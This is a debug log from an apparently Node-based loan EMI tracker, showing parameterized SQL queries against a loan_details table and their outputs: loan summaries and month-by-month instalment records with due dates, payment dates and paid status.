    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:29.280Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '11',
    total_remaining_amount: 165154,
    total_paid_amount: 735686,
    percentage_paid: '81.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '1',
    total_remaining_amount: 18243,
    total_paid_amount: 638505,
    percentage_paid: '97.22'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 16008,
    total_paid_amount: 176088,
    percentage_paid: '91.67'
  }
]
2026-06-07T05:06:29.281Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2026-06-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2026-05-31T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-06-07T05:06:31.955Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:31.955Z server-connect:app Executing action step identify
2026-06-07T05:06:31.955Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:31.956Z server-connect:output identity: 1
2026-06-07T05:06:31.956Z server-connect:app Executing action step restrict
2026-06-07T05:06:31.956Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:31.956Z server-connect:output restrict: undefined
2026-06-07T05:06:31.956Z server-connect:app Executing action step select
2026-06-07T05:06:31.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:31.958Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-04-21T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-06-07T05:06:36.059Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-06-07T05:06:36.059Z server-connect:app Executing action step identify
2026-06-07T05:06:36.059Z server-connect:app options: { provider: 'security' }
2026-06-07T05:06:36.059Z server-connect:output identity: 1
2026-06-07T05:06:36.059Z server-connect:app Executing action step restrict
2026-06-07T05:06:36.059Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-07T05:06:36.060Z server-connect:output restrict: undefined
2026-06-07T05:06:36.060Z server-connect:app Executing action step select
2026-06-07T05:06:36.060Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-06-07T05:06:36.062Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
